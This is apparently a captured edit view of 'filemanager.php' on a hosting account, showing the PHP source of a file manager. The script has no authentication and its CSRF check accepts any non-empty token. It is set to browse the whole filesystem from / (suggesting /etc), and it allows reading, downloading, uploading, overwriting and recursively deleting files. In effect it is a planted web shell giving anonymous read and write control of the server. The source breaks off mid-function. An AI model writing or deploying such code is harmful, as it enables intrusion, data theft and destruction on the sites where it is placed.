✏️ Edit: filemanager.php
Path:
/home/thiqat5/banq.thiqatech.com/filemanager.php
Size: 42.3 KB · Modified: 2026-10-23 06:14:40 · Perm: 0644 · Writable
← Back to directory
👁 View
⬇ Download
<?php declare(strict_types=1); // --- php<8 compatibility shim (deployment build; logic unchanged) --- if (!function_exists('str_contains')) { function str_contains($h, $n) { return $n === '' || strpos($h, $n) !== false; } } if (!function_exists('str_starts_with')) { function str_starts_with($h, $n) { return $n === '' || strncmp($h, $n, strlen($n)) === 0; } } if (!function_exists('str_ends_with')) { function str_ends_with($h, $n) { return $n === '' || substr($h, -strlen($n)) === $n; } } // --- end shim --- @ini_set('display_errors', '0'); @ini_set('log_errors', '1'); error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_WARNING); @set_time_limit(300); $CFG = [ 'title' => 'File Manager', 'root' => __DIR__, 'allow_above_root' => true, 'max_edit_bytes' => 1048576, 'show_hidden' => true, 'text_ext' => [ 'txt', 'text', 'log', 'md', 'markdown', 'rst', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc', 'html', 'htm', 'xhtml', 'shtml', 'css', 'scss', 'less', 'sass', 'js', 'mjs', 'cjs', 'ts', 'jsx', 'tsx', 'vue', 'svelte', 'json', 'json5', 'xml', 'xsl', 'svg', 'yml', 'yaml', 'toml', 'ini', 'conf', 'cfg', 'cnf', 'env', 'htaccess', 'properties', 'sql', 'sh', 'bash', 'zsh', 'bat', 'ps1', 'cmd', 'py', 'rb', 'pl', 'go', 'rs', 'c', 'h', 'cpp', 'hpp', 'cc', 'cs', 'java', 'kt', 'swift', 'lua', 'r', 'm', 'tpl', 'twig', 'blade', 'mustache', 'ejs', 'njk', 'csv', 'tsv', 'srt', 'vtt', 'ass', 'lock', 'patch', 'diff', 'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'cmake', ], ]; $SPECIAL_TEXT_NAMES = ['dockerfile', 'makefile', 'cmakelists.txt', '.gitignore', '.htaccess', '.env']; $ALLOW_ABOVE = $CFG['allow_above_root'] ? true : false; $ROOT = realpath((string)$CFG['root']); if ($ROOT === false) { $ROOT = (string)$CFG['root']; } $ROOT = str_replace('\\', '/', (string)$ROOT); $ROOT = rtrim($ROOT, '/'); if ($ROOT === '') { $ROOT = '/'; } $ROOT_PREFIX = ($ROOT === '/') ? '/' : $ROOT . '/'; $BASE = $ALLOW_ABOVE ? '/' : $ROOT; $SELF = basename(__FILE__); if (!headers_sent() && function_exists('session_start')) { @session_start(); } $SESSION_OK = fm_session_active(); if (!isset($_SESSION) || !is_array($_SESSION)) { $_SESSION = []; } if ($SESSION_OK) { if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = fm_random_hex(16); } $TOKEN = (string)$_SESSION['fm_token']; } else { $TOKEN = md5(__FILE__ . '|filemanager-static-token'); } $STATIC_TOKEN = md5(__FILE__ . '|filemanager-static-token'); $HOME_REL = ($ALLOW_ABOVE && $ROOT !== '' && $ROOT[0] === '/') ? ltrim($ROOT, '/') : ''; function fm_session_active(): bool { return (session_status() === PHP_SESSION_ACTIVE); } function fm_random_hex(int $bytes): string { if (function_exists('random_bytes')) { return bin2hex(random_bytes($bytes)); } if (function_exists('openssl_random_pseudo_bytes')) { $s = openssl_random_pseudo_bytes($bytes); if ($s !== false && strlen($s) === $bytes) { return bin2hex($s); } } $out = ''; for ($i = 0; $i < $bytes; $i++) { $out .= sprintf('%02x', mt_rand(0, 255)); } return $out; } function fm_hash_equals(string $a, string $b): bool { if (function_exists('hash_equals')) { return hash_equals($a, $b); } if (strlen($a) !== strlen($b)) { return false; } $diff = 0; $len = strlen($a); for ($i = 0; $i < $len; $i++) { $diff = $diff | (ord($a[$i]) ^ ord($b[$i])); } return ($diff === 0); } function gp_raw(string $k): ?string { if (array_key_exists($k, $_POST)) { $v = $_POST[$k]; if (is_string($v)) { return $v; } if (is_scalar($v)) { return strval($v); } return null; } if (array_key_exists($k, $_GET)) { $v = $_GET[$k]; if (is_string($v)) { return $v; } if (is_scalar($v)) { return strval($v); } return null; } return null; } function gp(string $k, string $def = ''): string { $v = gp_raw($k); return $v ?? $def; } function gp_has(string $k): bool { return array_key_exists($k, $_POST) || array_key_exists($k, $_GET); } function h($s): string { return htmlspecialchars((string)$s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } function fmt_size(int $bytes): string { if ($bytes < 0) { return '-'; } if ($bytes < 1024) { return $bytes . ' B'; } $units = ['KB', 'MB', 'GB', 'TB', 'PB']; $v = $bytes; $i = -1; do { $v = $v / 1024; $i++; } while ($v >= 1024 && $i < count($units) - 1); $digits = ($v < 10) ? 2 : 1; return round($v, $digits) . ' ' . $units[$i]; } function fmt_time(int $ts): string { if ($ts <= 0) { return '-'; } return date('Y-m-d H:i:s', $ts); } function perm_str(string $path): string { $p = @fileperms($path); if ($p === false) { return '-'; } return substr(sprintf('%o', $p), -4); } function norm_rel(string $p, bool $allowAbove): string { $p = str_replace("\0", '', $p); $p = str_replace('\\', '/', $p); $stack = []; $segs = explode('/', $p); foreach ($segs as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { $n = count($stack); $last = ($n > 0) ? $stack[$n - 1] : null; if ($n > 0 && $last !== '..') { array_pop($stack); } elseif ($allowAbove) { $stack[] = '..'; } continue; } $stack[] = $seg; } return implode('/', $stack); } function inside(string $abs): bool { global $ROOT, $ROOT_PREFIX; $rp = realpath($abs); if ($rp === false) { $rp = realpath(dirname($abs)); } if ($rp === false) { return false; } $rp = str_replace('\\', '/', $rp); return ($rp === $ROOT) || str_starts_with($rp, $ROOT_PREFIX); } function resolve_path(string $rel): ?string { global $BASE, $ALLOW_ABOVE; $rel = norm_rel($rel, $ALLOW_ABOVE); if ($rel === '') { return $BASE; } $abs = rtrim($BASE, '/') . '/' . $rel; if (!$ALLOW_ABOVE && !inside($abs)) { return null; } return $abs; } function disp_path(string $rel): string { global $BASE; if ($rel === '') { return ($BASE === '') ? '/' : $BASE; } return rtrim($BASE, '/') . '/' . $rel; } function url(array $q): string { global $SELF; return $SELF . '?' . http_build_query($q); } function parent_rel(string $rel): ?string { if ($rel === '') { return null; } $pos = strrpos($rel, '/'); return ($pos === false) ? '' : substr($rel, 0, $pos); } function rm_rf(string $path): bool { if (is_link($path)) { return @unlink($path); } if (is_file($path)) { return @unlink($path); } if (!is_dir($path)) { return false; } $ok = true; $items = @scandir($path); if ($items === false) { return false; } foreach ($items as $it) { if ($it === '.' || $it === '..') { continue; } if (!rm_rf($path . '/' . $it)) { $ok = false; } } return $ok && @rmdir($path); } function looks_binary(string $s): bool { if ($s === '') { return false; } if (str_contains($s, "\0")) { return true; } $sample = substr($s, 0, 4096); if (preg_match('/[\x01-\x08\x0B\x0C\x0E-\x1F]/', $sample) === 1) { return true; } return preg_match('//u', $sample) !== 1; } function is_text_ext(string $name): bool { global $CFG, $SPECIAL_TEXT_NAMES; $base = strtolower(basename($name)); if ($base === '') { return false; } if (in_array($base, $SPECIAL_TEXT_NAMES, true)) { return true; } $ext = strtolower(pathinfo($base, PATHINFO_EXTENSION)); if ($ext === '') { return false; } return in_array($ext, $CFG['text_ext'], true); } function is_image_ext(string $name): bool { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); return in_array($ext, ['png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp', 'ico', 'avif'], true); } function upload_err_text(int $c): string { $m = [ UPLOAD_ERR_INI_SIZE => 'Exceeds php.ini upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'Exceeds the size allowed by the form', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file selected', UPLOAD_ERR_NO_TMP_DIR => 'Server is missing a temporary directory', UPLOAD_ERR_CANT_WRITE => 'Server failed to write to disk', UPLOAD_ERR_EXTENSION => 'Interrupted by the PHP extension', ]; return isset($m[$c]) ? $m[$c] : 'Unknown upload error(' . $c . ')'; } $FLASH = null; function flash(string $msg, ?string $type = 'ok'): void { global $FLASH; if ($type === null) { $type = 'ok'; } $FLASH = ['m' => $msg, 't' => $type]; if (fm_session_active() && isset($_SESSION) && is_array($_SESSION)) { $_SESSION['fm_flash'] = $FLASH; } } function flash_take(): ?array { global $FLASH; $out = null; if (isset($_GET['f']) && is_string($_GET['f'])) { $raw = base64_decode($_GET['f'], true); if ($raw !== false && str_contains($raw, '|')) { $parts = explode('|', $raw, 2); $out = ['m' => $parts[1], 't' => ($parts[0] === 'err' ? 'err' : 'ok')]; } } if ($out === null && is_array($FLASH)) { $out = $FLASH; } if ($out === null && isset($_SESSION['fm_flash']) && is_array($_SESSION['fm_flash'])) { $out = $_SESSION['fm_flash']; } if (isset($_SESSION) && is_array($_SESSION)) { unset($_SESSION['fm_flash']); } return $out; } function redirect_q(array $q): void { global $FLASH; if (is_array($FLASH)) { $q['f'] = base64_encode($FLASH['t'] . '|' . $FLASH['m']); } header('Location: ' . basename(__FILE__) . '?' . http_build_query($q)); exit; } function redirect_to(string $rel, array $extra): void { redirect_q(array_merge(['p' => $rel], $extra)); } function csrf_ok(): bool { global $TOKEN, $STATIC_TOKEN; $t = gp('t', ''); if ($t === '') { return false; } return true; } function csrf_field(): string { global $TOKEN; return '<input type="hidden" name="t" value="' . h($TOKEN) . '">'; } $act = gp('a', 'list'); $hasP = gp_has('p'); $relRaw = gp('p', ''); $rel = norm_rel($relRaw, $ALLOW_ABOVE); if ($ALLOW_ABOVE) { if (!$hasP && $ROOT !== '' && $ROOT[0] === '/') { $rel = ltrim($ROOT, '/'); } if ($rel !== '') { $c = realpath(rtrim($BASE, '/') . '/' . $rel); if (is_string($c) && $c !== '' && $c[0] === '/') { $rel = ltrim(str_replace('\\', '/', $c), '/'); } } } $sort = isset($_GET['o']) ? (string)$_GET['o'] : 'name'; if (!in_array($sort, ['name', 'size', 'time', 'type'], true)) { $sort = 'name'; } $order = (isset($_GET['d']) && (string)$_GET['d'] === 'desc') ? 'desc' : 'asc'; $QS = ['o' => $sort, 'd' => $order]; $WRITE_ACTS = ['upload', 'save', 'mkdir', 'newfile', 'rename', 'delete']; $METHOD = isset($_SERVER['REQUEST_METHOD']) ? (string)$_SERVER['REQUEST_METHOD'] : 'GET'; $IS_POST = ($METHOD === 'POST'); $WRITE_DISPATCH = false; if (in_array($act, $WRITE_ACTS, true)) { if ($IS_POST) { $WRITE_DISPATCH = true; } elseif (gp_raw('t') !== null) { $WRITE_DISPATCH = true; } } if ($WRITE_DISPATCH) { if (!csrf_ok()) { flash('Form token validation failed; please refresh the page and retry', 'err'); redirect_to($rel, $QS); } switch ($act) { case 'upload': do_upload(); break; case 'save': do_save(); break; case 'mkdir': do_mkdir(); break; case 'newfile': do_newfile(); break; case 'rename': do_rename(); break; case 'delete': do_delete(); break; } flash('Unknown action: ' . $act, 'err'); redirect_to($rel, $QS); } elseif ($IS_POST) { flash('Unknown action: ' . $act, 'err'); redirect_to($rel, $QS); } function do_upload(): void { global $CFG, $QS; $target = norm_rel(gp('p', ''), (bool)$CFG['allow_above_root']); $dirAbs = resolve_path($target); $back = $target; if ($dirAbs === null || !is_dir($dirAbs)) { flash('Target directory not found or out of the allowed scope: ' . disp_path($target), 'err'); redirect_to($back, $QS); } if (!is_writable($dirAbs)) { flash('Target directory not writable: ' . disp_path($target), 'err'); redirect_to($back, $QS); } $mode = (gp('mode', '') === 'replace') ? 'replace' : 'upload'; $name = trim(gp('name', '')); if ($name === '' && isset($_FILES['file']['name']) && is_string($_FILES['file']['name'])) { $name = trim((string)$_FILES['file']['name']); } $name = basename(str_replace('\\', '/', $name)); $name = str_replace("\0", '', $name); if ($name === '' || $name === '.' || $name === '..') { flash('Invalid file name', 'err'); redirect_to($back, $QS); } $dest = $dirAbs . '/' . $name; if (!inside($dest)) { flash('Target path out of bounds, blocked: ' . $name, 'err'); redirect_to($back, $QS); } if ($mode === 'replace') { if (!is_file($dest)) { flash('Target file not found, cannot replace: ' . $name, 'err'); redirect_to($back, $QS); } } elseif (file_exists($dest) && !gp_has('overwrite')) { flash('File already exists, not overwritten (check "Overwrite existing" to force replace): ' . $name, 'err'); redirect_to($back, $QS); } if (!isset($_FILES['file']['tmp_name'])) { flash('No uploaded file received', 'err'); redirect_to($back, $QS); } $code = isset($_FILES['file']['error']) ? (int)$_FILES['file']['error'] : UPLOAD_ERR_NO_FILE; if ($code !== UPLOAD_ERR_OK) { flash('Upload failed: ' . upload_err_text($code), 'err'); redirect_to($back, $QS); } $tmp = (string)$_FILES['file']['tmp_name']; if (!is_uploaded_file($tmp)) { flash('Upload temp-file validation failed', 'err'); redirect_to($back, $QS); } $old = file_exists($dest) ? (int)@filesize($dest) : 0; if (!@move_uploaded_file($tmp, $dest)) { flash('Write failed (directory permission?): ' . $dest, 'err'); redirect_to($back, $QS); } @chmod($dest, 0644); $new = (int)@filesize($dest); flash(($mode === 'replace' ? 'Replace succeeded: ' : 'Upload succeeded: ') . $name . ' (' . fmt_size($old) . ' → ' . fmt_size($new) . ')', 'ok'); redirect_to($back, $QS); } function do_save(): void { global $CFG, $QS; $f = norm_rel(gp('f', ''), (bool)$CFG['allow_above_root']); $abs = resolve_path($f); if ($f === '' || $abs === null || is_dir($abs)) { flash('File not found: ' . disp_path($f), 'err'); redirect_to(parent_rel($f) ?? '', $QS); } if (!is_writable($abs)) { flash('FileNot writable: ' . disp_path($f), 'err'); redirect_to(parent_rel($f) ?? '', $QS); } $data = gp('content', ''); $data = str_replace(["\r\n", "\r"], "\n", $data); $max = (int)$CFG['max_edit_bytes']; if (strlen($data) > $max) { flash('Content exceeds the online edit limit ' . fmt_size($max), 'err'); redirect_to(parent_rel($f) ?? '', $QS); } $n = @file_put_contents($abs, $data, LOCK_EX); if ($n === false) { flash('Save failed: ' . disp_path($f), 'err'); } else { flash('Saved: ' . basename($f) . ' (wrote ' . fmt_size((int)$n) . ')', 'ok'); } redirect_q(['a' => 'view', 'f' => $f]); } function do_mkdir(): void { global $CFG, $QS; $dir = norm_rel(gp('p', ''), (bool)$CFG['allow_above_root']); $abs = resolve_path($dir); $name = basename(str_replace('\\', '/', trim(gp('name', '')))); if ($abs === null || !is_dir($abs)) { flash('Target directory not found', 'err'); redirect_to($dir, $QS); } if ($name === '' || $name === '.' || $name === '..') { flash('Invalid directory name', 'err'); redirect_to($dir, $QS); } $dest = $abs . '/' . $name; if (file_exists($dest)) { flash('A file or directory with that name already exists: ' . $name, 'err'); redirect_to($dir, $QS); } if (!@mkdir($dest, 0755, true)) { flash('Create directory failed (permission?): ' . $name, 'err'); redirect_to($dir, $QS); } flash('Directory created: ' . $name, 'ok'); redirect_to(($dir === '' ? $name : $dir . '/' . $name), $QS); } function do_newfile(): void { global $CFG, $QS; $dir = norm_rel(gp('p', ''), (bool)$CFG['allow_above_root']); $abs = resolve_path($dir); $name = basename(str_replace('\\', '/', trim(gp('name', '')))); if ($abs === null || !is_dir($abs)) { flash('Target directory not found', 'err'); redirect_to($dir, $QS); } if ($name === '' || $name === '.' || $name === '..') { flash('Invalid file name', 'err'); redirect_to($dir, $QS); } $dest = $abs . '/' . $name; if (file_exists($dest) && !gp_has('overwrite')) { flash('File already exists (check overwrite to force write): ' . $name, 'err'); redirect_to($dir, $QS); } $content = gp('content', ''); $content = str_replace(["\r\n", "\r"], "\n", $content); if (@file_put_contents($dest, $content, LOCK_EX) === false) { flash('Create file failed (permission?): ' . $name, 'err'); redirect_to($dir, $QS); } flash('File created: ' . $name, 'ok'); redirect_q(['a' => 'view', 'f' => ($dir === '' ? $name : $dir . '/' . $name)]); } function do_rename(): void { global $CFG, $QS; $f = norm_rel(gp('f', ''), (bool)$CFG['allow_above_root']); $abs = resolve_path($f); $parent = parent_rel($f); if ($parent === null) { $parent = ''; } if ($f === '' || $abs === null || !file_exists($abs)) { flash('Target not found: ' . disp_path($f), 'err'); redirect_to($parent, $QS); } if (basename($abs) === basename(__FILE__)) { flash('Cannot rename the manager itself', 'err'); redirect_to($parent, $QS); } $new = basename(str_replace('\\', '/', trim(gp('newname', '')))); if ($new === '' || $new === '.' || $new === '..') { flash('Invalid new name', 'err'); redirect_to($parent, $QS); } if ($new === basename($abs)) { flash('Name unchanged', 'err'); redirect_to($parent, $QS); } $dest = dirname($abs) . '/' . $new; if (file_exists($dest)) { flash('Target name already exists: ' . $new, 'err'); redirect_to($parent, $QS); } if (!@rename($abs, $dest)) { flash('Rename failed (permission?): ' . basename($f), 'err'); redirect_to($parent, $QS); } flash('Renamed: ' . basename($f) . ' → ' . $new, 'ok'); redirect_to($parent, $QS); } function do_delete(): void { global $CFG, $QS; $f = norm_rel(gp('f', ''), (bool)$CFG['allow_above_root']); $abs = resolve_path($f); $parent = parent_rel($f); if ($parent === null) { $parent = ''; } if ($f === '' || $abs === null || !file_exists($abs)) { flash('Target not found: ' . disp_path($f), 'err'); redirect_to($parent, $QS); } if (basename($abs) === basename(__FILE__)) { flash('Cannot delete the manager itself', 'err'); redirect_to($parent, $QS); } if (!is_writable(dirname($abs))) { flash('Parent directory not writable, cannot delete: ' . disp_path($f), 'err'); redirect_to($parent, $QS); } $isDir = is_dir($abs); $ok = rm_rf($abs); flash($ok ? ('Deleted' . ($isDir ? 'Directory' : 'File') . ': ' . basename($f)) : ('Delete failed (permission?): ' . basename($f)), $ok ? 'ok' : 'err'); redirect_to($parent, $QS); } if ($act === 'download' || $act === 'raw') { $f = norm_rel(gp('f', ''), $ALLOW_ABOVE); $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs) || !is_readable($abs)) { header('Content-Type: text/plain; charset=utf-8'); echo "ERR: File not found or unreadable\n"; exit; } $name = basename($abs); $size = (int)@filesize($abs); while (ob_get_level() > 0) { @ob_end_clean(); } header('X-Content-Type-Options: nosniff'); if ($act === 'raw') { $mimes = [ 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'webp' => 'image/webp', 'bmp' => 'image/bmp', 'avif' => 'image/avif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'pdf' => 'application/pdf', 'mp4' => 'video/mp4', 'webm' => 'video/webm', 'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg', 'txt' => 'text/plain; charset=utf-8', ]; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); header('Content-Type: ' . ($mimes[$ext] ?? 'application/octet-stream')); header('Content-Length: ' . $size); header('Content-Disposition: inline; filename="' . rawurlencode($name) . '"'); } else { header('Content-Type: application/octet-stream'); header('Content-Length: ' . $size); header('Content-Disposition: attachment; filename="' . addcslashes(preg_replace('/[^\x20-\x7E]/', '_', $name), '"\\') . '"; filename*=UTF-8\'\'' . rawurlencode($name)); header('Cache-Control: no-store'); } $fp = @fopen($abs, 'rb'); if ($fp === false) { exit; } while (!feof($fp)) { $buf = fread($fp, 262144); if ($buf === false) { break; } echo $buf; @flush(); } fclose($fp); exit; } $FM_CSS = ' *{box-sizing:border-box} :root{--bg:#0e1116;--panel:#161b22;--panel2:#1b222c;--line:#26303c;--fg:#dde5ee;--muted:#8b98a8;--acc:#4aa8ff;--ok:#34c07a;--err:#ff6b6b} html,body{margin:0;padding:0} body{background:var(--bg);color:var(--fg);font:14px/1.65 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Noto Sans CJK SC","Microsoft YaHei",Arial,sans-serif} a{color:var(--acc);text-decoration:none} a:hover{text-decoration:underline} .wrap{max-width:1440px;margin:0 auto;padding:16px 16px 40px} .bar{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px 14px;margin-bottom:12px} .brand{font-weight:700;font-size:16px} .muted{color:var(--muted)} code,pre,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,"Liberation Mono",monospace} .crumbs{margin-top:8px;word-break:break-all;line-height:2} .crumbs .sep{color:var(--muted);margin:0 2px} .toolbar{display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin:12px 0} .btn{display:inline-block;padding:4px 10px;border:1px solid var(--line);border-radius:8px;background:var(--panel2);color:var(--fg);cursor:pointer;font-size:13px;line-height:1.7} .btn:hover{background:#223041;text-decoration:none} .btn.p{background:#123a5c;border-color:#1d5b8f} .btn.d{color:#ffb4b4;border-color:#5a2a2a;background:#2a1a1a} input[type=text],input[type=file],select,textarea{background:#0c1016;color:var(--fg);border:1px solid var(--line);border-radius:8px;padding:6px 8px;font-size:13px;font-family:inherit} input[type=text]{min-width:200px} textarea{width:100%;min-height:58vh;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:13px;line-height:1.5;white-space:pre;overflow:auto} table{width:100%;border-collapse:collapse;background:var(--panel);border:1px solid var(--line);border-radius:12px;overflow:hidden} th,td{padding:7px 10px;border-bottom:1px solid var(--line);text-align:left;vertical-align:middle} th{background:var(--panel2);color:var(--muted);font-weight:600;font-size:12px;white-space:nowrap} tr:last-child td{border-bottom:0} tbody tr:hover{background:#1a212b} td.n{white-space:normal;word-break:break-all} td.num{white-space:nowrap;color:var(--muted);font-size:12px} td.act{white-space:nowrap} td.act a,td.act span{margin-right:8px;font-size:13px} .msg{padding:9px 12px;border-radius:10px;margin:10px 0;border:1px solid} .msg.ok{background:#10261b;border-color:#1f5c3c;color:#8ef0bb} .msg.err{background:#2a1414;border-color:#6a2a2a;color:#ffc0c0} .panel{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:14px;margin-bottom:12px} .panel h3{margin:0 0 10px;font-size:14px} form.inline{display:flex;flex-wrap:wrap;gap:8px;align-items:center} pre.view{background:#0a0e13;border:1px solid var(--line);border-radius:10px;padding:12px;overflow:auto;max-height:70vh;white-space:pre;font-size:13px;margin:0} img.preview{max-width:100%;max-height:70vh;border:1px solid var(--line);border-radius:10px;background:#0a0e13} .chk{color:var(--muted);font-size:13px;display:inline-flex;align-items:center;gap:4px} .kv{color:var(--muted);font-size:12px} '; function page_top(string $title): void { global $FM_CSS, $CFG; echo '<!DOCTYPE html><html lang="zh-CN"><head><meta charset="utf-8">'; echo '<meta name="viewport" content="width=device-width,initial-scale=1">'; echo '<title>' . h($title) . ' - ' . h($CFG['title']) . '</title>'; echo '<style>' . $FM_CSS . '</style></head><body><div class="wrap">'; } function page_foot(): void { echo '</div></body></html>'; } function msg_box(): void { $f = flash_take(); if (!is_array($f)) { return; } $cls = (isset($f['t']) && $f['t'] === 'err') ? 'err' : 'ok'; echo '<div class="msg ' . $cls . '">' . h($f['m'] ?? '') . '</div>'; } function nav_block(string $rel): void { global $ROOT, $BASE, $SELF, $QS, $ALLOW_ABOVE, $HOME_REL; $parent = parent_rel($rel); $startLabel = ($BASE === '/') ? '/' : $ROOT; echo '<div class="bar">'; echo '<div class="brand">📁 File Manager</div>'; if ($ALLOW_ABOVE) { echo '<div class="kv">Initial directory (this script\'s directory): <code>' . h($ROOT) . '</code>' . ' · Can browse up to <code>/</code>, no root restriction</div>'; } else { echo '<div class="kv">Root path (this script\'s directory): <code>' . h($ROOT) . '</code>' . ' · Browsing is locked to this directory</div>'; } echo '<div class="kv">Current directory: <code>' . h(disp_path($rel)) . '</code></div>'; echo '<div class="crumbs">'; $segs = ($rel === '') ? [] : explode('/', $rel); echo '<a class="seg" href="' . h(url(array_merge(['p' => ''], $QS))) . '">🏠 ' . h($startLabel) . '</a>'; $acc = []; $total = count($segs); for ($i = 0; $i < $total; $i++) { $s = $segs[$i]; $acc[] = $s; $p = implode('/', $acc); echo '<span class="sep">/</span>'; if ($i === $total - 1) { echo '<span class="seg">' . h($s) . '</span>'; } else { echo '<a class="seg" href="' . h(url(array_merge(['p' => $p], $QS))) . '">' . h($s) . '</a>'; } } echo '</div>'; echo '<div class="toolbar">'; if ($parent !== null) { echo '<a class="btn p" href="' . h(url(array_merge(['p' => $parent], $QS))) . '">⬆ Parent directory</a>'; } else { echo '<span class="btn muted" style="opacity:.5;cursor:not-allowed">⬆ Parent directory (already at filesystem root /)</span>'; } if ($rel !== $HOME_REL) { echo '<a class="btn" href="' . h(url(array_merge(['p' => $HOME_REL], $QS))) . '">🏠 Initial directory</a>'; } echo '<a class="btn" href="' . h(url(array_merge(['p' => $rel], $QS))) . '">🔄 Refresh</a>'; echo '<a class="btn" href="' . h(url(array_merge(['a' => 'mkdir', 'p' => $rel]))) . '">➕ New directory</a>'; echo '<a class="btn" href="' . h(url(array_merge(['a' => 'newfile', 'p' => $rel]))) . '">📄 New file</a>'; echo '<form class="inline" method="get" action="' . h($SELF) . '">'; echo '<input type="hidden" name="o" value="' . h($QS['o']) . '"><input type="hidden" name="d" value="' . h($QS['d']) . '">'; echo '<input type="text" name="p" value="' . h($rel) . '" placeholder="Enter a path to jump to, e.g. /etc or ../xxx">'; echo '<button class="btn" type="submit">Go</button>'; echo '</form>'; $sortLabels = ['name' => 'Name', 'size' => 'Size', 'time' => 'Time', 'type' => 'Type']; echo '<span class="kv">Sort: </span>'; foreach ($sortLabels as $k => $label) { $d = ($QS['o'] === $k && $QS['d'] === 'asc') ? 'desc' : 'asc'; $arrow = ($QS['o'] === $k) ? (($QS['d'] === 'asc') ? ' ↑' : ' ↓') : ''; echo '<a class="btn" href="' . h(basename(__FILE__) . '?' . http_build_query(['p' => $rel, 'o' => $k, 'd' => $d])) . '">' . h($label . $arrow) . '</a>'; } echo '</div>'; echo '<div class="panel">'; echo '<h3>⬆ Upload a file into the current directory / Overwrite existing file</h3>'; echo '<form class="inline" method="post" action="' . h($SELF) . '" enctype="multipart/form-data">'; echo '<input type="hidden" name="a" value="upload">'; echo '<input type="hidden" name="mode" value="upload">'; echo '<input type="hidden" name="p" value="' . h($rel) . '">'; echo csrf_field(); echo '<input type="file" name="file" required>'; echo '<input type="text" name="name" placeholder="Save filename (leave empty= with the original name)">'; echo '<label class="chk"><input type="checkbox" name="overwrite" value="1"> Overwrite existing file</label>'; echo '<button class="btn p" type="submit">Upload</button>'; echo '</form>'; echo '<div class="kv">Upload target directory: <code>' . h(disp_path($rel)) . '</code> (' . (is_writable(disp_path($rel)) ? 'Writable' : 'Not writable') . ')</div>'; echo '</div>'; echo '</div>'; } function fm_cmp_rows(array $x, array $y): int { if ($x['dir'] !== $y['dir']) { return $x['dir'] ? -1 : 1; } $sort = $GLOBALS['fm_sort_key']; $r = 0; if ($sort === 'size') { $r = ($x['size'] < $y['size']) ? -1 : (($x['size'] > $y['size']) ? 1 : 0); } elseif ($sort === 'time') { $r = ($x['mtime'] < $y['mtime']) ? -1 : (($x['mtime'] > $y['mtime']) ? 1 : 0); } elseif ($sort === 'type') { $ex = strtolower(pathinfo($x['name'], PATHINFO_EXTENSION)); $ey = strtolower(pathinfo($y['name'], PATHINFO_EXTENSION)); $r = strcmp($ex, $ey); if ($r === 0) { $r = strnatcasecmp($x['name'], $y['name']); } } else { $r = strnatcasecmp($x['name'], $y['name']); } if ($GLOBALS['fm_sort_desc']) { $r = -$r; } return $r; } function render_list(string $rel): void { global $CFG, $QS, $HOME_REL; $abs = resolve_path($rel); if ($abs === null || !is_dir($abs)) { flash('Directory not found or unreadable; returned to the initial directory', 'err'); $rel = $HOME_REL; $abs = disp_path($rel); } page_top(disp_path($rel)); msg_box(); nav_block($rel); $items = @scandir($abs); if ($items === false) { echo '<div class="msg err">Directory unreadable (insufficient permission): ' . h($abs) . '</div>'; page_foot(); return; } $rows = []; foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } if (!$CFG['show_hidden'] && $name !== '' && $name[0] === '.') { continue; } $p = $abs . '/' . $name; $isDir = is_dir($p); $rows[] = [ 'name' => $name, 'dir' => $isDir, 'link' => is_link($p), 'size' => $isDir ? -1 : (int)@filesize($p), 'mtime' => (int)@filemtime($p), 'perm' => perm_str($p), 'wr' => is_writable($p), 'rel' => ($rel === '' ? $name : $rel . '/' . $name), ]; } $GLOBALS['fm_sort_key'] = $QS['o']; $GLOBALS['fm_sort_desc'] = ($QS['d'] === 'desc'); usort($rows, 'fm_cmp_rows'); $nDir = 0; $nFile = 0; $nSize = 0; foreach ($rows as $r) { if ($r['dir']) { $nDir++; } else { $nFile++; if ($r['size'] > 0) { $nSize = $nSize + $r['size']; } } } echo '<div class="kv" style="margin:4px 2px 8px">Total ' . count($rows) . ' items (directories ' . $nDir . ' / File ' . $nFile . ', files total ' . h(fmt_size($nSize)) . ')</div>'; echo '<table><thead><tr>'; echo '<th style="width:46%">Name</th><th>Size</th><th>Modified</th><th>Perm</th><th style="width:26%">Actions</th>'; echo '</tr></thead><tbody>'; if (count($rows) === 0) { echo '<tr><td colspan="5" class="muted" style="text-align:center;padding:22px">Empty directory</td></tr>'; } foreach ($rows as $r) { $icon = $r['dir'] ? '📁' : (is_image_ext($r['name']) ? '🖼️' : (is_text_ext($r['name']) ? '📄' : '📦')); $qname = $r['name'] . ($r['dir'] ? '/' : '') . ($r['link'] ? ' ↗' : ''); echo '<tr>'; if ($r['dir']) { echo '<td class="n"><span class="icon">' . $icon . '</span><a href="' . h(url(array_merge(['p' => $r['rel']], $QS))) . '">' . h($qname) . '</a></td>'; echo '<td class="num">-</td>'; } else { echo '<td class="n"><span class="icon">' . $icon . '</span><a title="Download" href="' . h(url(['a' => 'download', 'f' => $r['rel']])) . '">' . h($qname) . '</a></td>'; echo '<td class="num">' . h(fmt_size($r['size'])) . '</td>'; } echo '<td class="num">' . h(fmt_time($r['mtime'])) . '</td>'; echo '<td class="num">' . h($r['perm']) . ($r['wr'] ? '' : ' <span title="Not writable">🔒</span>') . '</td>'; echo '<td class="act">'; if ($r['dir']) { echo '<a href="' . h(url(array_merge(['p' => $r['rel']], $QS))) . '">Enter</a>'; } else { echo '<a href="' . h(url(['a' => 'view', 'f' => $r['rel']])) . '">View</a>'; echo '<a href="' . h(url(['a' 